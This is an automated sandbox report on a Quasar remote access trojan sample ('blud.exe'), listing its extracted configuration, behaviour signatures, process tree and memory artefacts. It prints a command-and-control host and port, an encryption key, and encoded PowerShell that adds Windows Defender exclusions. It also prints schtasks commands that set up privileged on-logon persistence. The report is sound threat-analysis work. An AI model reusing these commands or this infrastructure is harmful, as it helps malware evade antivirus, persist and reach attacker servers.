Analysis
- max time kernel
28s - max time network
30s - platform
windows10-2004_x64 - resource
win10v2004-20240226-en - resource tags
- submitted
16/03/2024, 12:19
General
- Target blud.exe
- Size 3.1MB
- Sample240316-phjk9ach36
- SHA256 d90addee4f27e9c4ecee68ef64f57a731884d0b0da84dfc3049e3ab930a09673
Malware Config
Extracted
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quasar
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1.4.1
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Office04
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authapi-41985.portmap.host:41985
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50fd280e-bda2-413a-9ebd-86236f4b0beb
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encryption_key
E429F24E279E8B25742D0F5347151B0F90D031CA
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install_name
system.exe
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log_directory
Logs
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reconnect_delay
3000
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startup_key
system
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subdirectory
SubDir
Signatures
- Quasar RAT
Quasar is an open source Remote Access Tool.
- Quasar payload 5 IoCs
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Executes dropped EXE 2 IoCs
- Drops file in System32 directory 5 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 4 IoCs
- Suspicious use of AdjustPrivilegeToken 4 IoCs
- Suspicious use of FindShellTrayWindow 2 IoCs
- Suspicious use of SendNotifyMessage 2 IoCs
- Suspicious use of SetWindowsHookEx 1 IoCs
- Suspicious use of WriteProcessMemory 14 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Users\Admin\AppData\Local\Temp\blud.exe"C:\Users\Admin\AppData\Local\Temp\blud.exe"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGYAcQB4ACMAPgBBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsAPAAjAGQAagBnACMAPgBbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAE0AZQBzAHMAYQBnAGUAQgBvAHgAXQA6ADoAUwBoAG8AdwAoACcAcwB5AHMAdABlAG0AIABkAG8AdwBuACAAYwBvAG4AdABhAGMAdAAgAG8AdwBuAGUAcgAnACwAJwAnACwAJwBPAEsAJwAsACcARQByAHIAbwByACcAKQA8ACMAcQB5AGIAIwA+AA=="2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGYAdwB3ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGwAdgB4ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGIAegB3ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGoAaAB2ACMAPgA="2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Users\Admin\AppData\Local\Temp\fnup.exe"C:\Users\Admin\AppData\Local\Temp\fnup.exe"2⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "system" /sc ONLOGON /tr "C:\Windows\system32\SubDir\system.exe" /rl HIGHEST /f3⤵
- Creates scheduled task(s)
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C:\Windows\system32\SubDir\system.exe"C:\Windows\system32\SubDir\system.exe"3⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
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C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "system" /sc ONLOGON /tr "C:\Windows\system32\SubDir\system.exe" /rl HIGHEST /f4⤵
- Creates scheduled task(s)
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
powershell.exe.log
StartupProfileData-NonInteractive
__PSScriptPolicyTest_1xzbkpuz.u3y.ps1
fnup.exe
fnup.exe
system.exe
system.exe
memory/552-95-0x0000000001A30000-0x0000000001A40000-memory.dmp
memory/552-93-0x000000001DAE0000-0x000000001DB1C000-memory.dmp
memory/552-75-0x000000001CED0000-0x000000001CF20000-memory.dmp
memory/552-76-0x000000001CFE0000-0x000000001D092000-memory.dmp
memory/552-53-0x0000000001A30000-0x0000000001A40000-memory.dmp
memory/552-92-0x000000001CF50000-0x000000001CF62000-memory.dmp
memory/552-52-0x00007FFEF7830000-0x00007FFEF82F1000-memory.dmp
memory/552-94-0x00007FFEF7830000-0x00007FFEF82F1000-memory.dmp
memory/1776-45-0x00000000069A0000-0x00000000069EC000-memory.dmp
memory/1776-91-0x00000000730E0000-0x0000000073890000-memory.dmp
memory/1776-73-0x0000000007820000-0x00000000078B2000-memory.dmp
memory/1776-15-0x00000000054D0000-0x0000000005AF8000-memory.dmp
memory/1776-23-0x0000000005DA0000-0x0000000005E06000-memory.dmp
memory/1776-55-0x00000000068E0000-0x00000000068FA000-memory.dmp
memory/1776-72-0x0000000008690000-0x0000000008C34000-memory.dmp
memory/1776-38-0x0000000005F10000-0x0000000006264000-memory.dmp
memory/1776-20-0x00000000730E0000-0x0000000073890000-memory.dmp
memory/1776-54-0x0000000007A60000-0x00000000080DA000-memory.dmp
memory/1776-18-0x0000000002DF0000-0x0000000002E00000-memory.dmp
memory/4084-11-0x0000000000060000-0x0000000000384000-memory.dmp
memory/4084-17-0x000000001B220000-0x000000001B230000-memory.dmp
memory/4084-50-0x00007FFEF7830000-0x00007FFEF82F1000-memory.dmp
memory/4084-13-0x00007FFEF7830000-0x00007FFEF82F1000-memory.dmp
memory/4124-58-0x0000000074670000-0x00000000746BC000-memory.dmp
memory/4124-71-0x0000000006CD0000-0x0000000006D73000-memory.dmp
memory/4124-70-0x0000000004860000-0x0000000004870000-memory.dmp
memory/4124-69-0x0000000004860000-0x0000000004870000-memory.dmp
memory/4124-68-0x0000000006CA0000-0x0000000006CBE000-memory.dmp
memory/4124-74-0x0000000006E80000-0x0000000006E8A000-memory.dmp
memory/4124-56-0x000000007F7C0000-0x000000007F7D0000-memory.dmp
memory/4124-57-0x0000000006A60000-0x0000000006A92000-memory.dmp
memory/4124-77-0x00000000070A0000-0x0000000007136000-memory.dmp
memory/4124-78-0x0000000007010000-0x0000000007021000-memory.dmp
memory/4124-79-0x0000000007050000-0x000000000705E000-memory.dmp
memory/4124-80-0x0000000007060000-0x0000000007074000-memory.dmp
memory/4124-81-0x0000000007140000-0x000000000715A000-memory.dmp
memory/4124-82-0x0000000007090000-0x0000000007098000-memory.dmp
memory/4124-85-0x00000000730E0000-0x0000000073890000-memory.dmp
memory/4124-44-0x0000000005AE0000-0x0000000005AFE000-memory.dmp
memory/4124-22-0x0000000004DA0000-0x0000000004E06000-memory.dmp
memory/4124-21-0x0000000004B00000-0x0000000004B22000-memory.dmp
memory/4124-19-0x0000000004860000-0x0000000004870000-memory.dmp
memory/4124-16-0x0000000004860000-0x0000000004870000-memory.dmp
memory/4124-14-0x00000000730E0000-0x0000000073890000-memory.dmp
memory/4124-12-0x00000000024E0000-0x0000000002516000-memory.dmp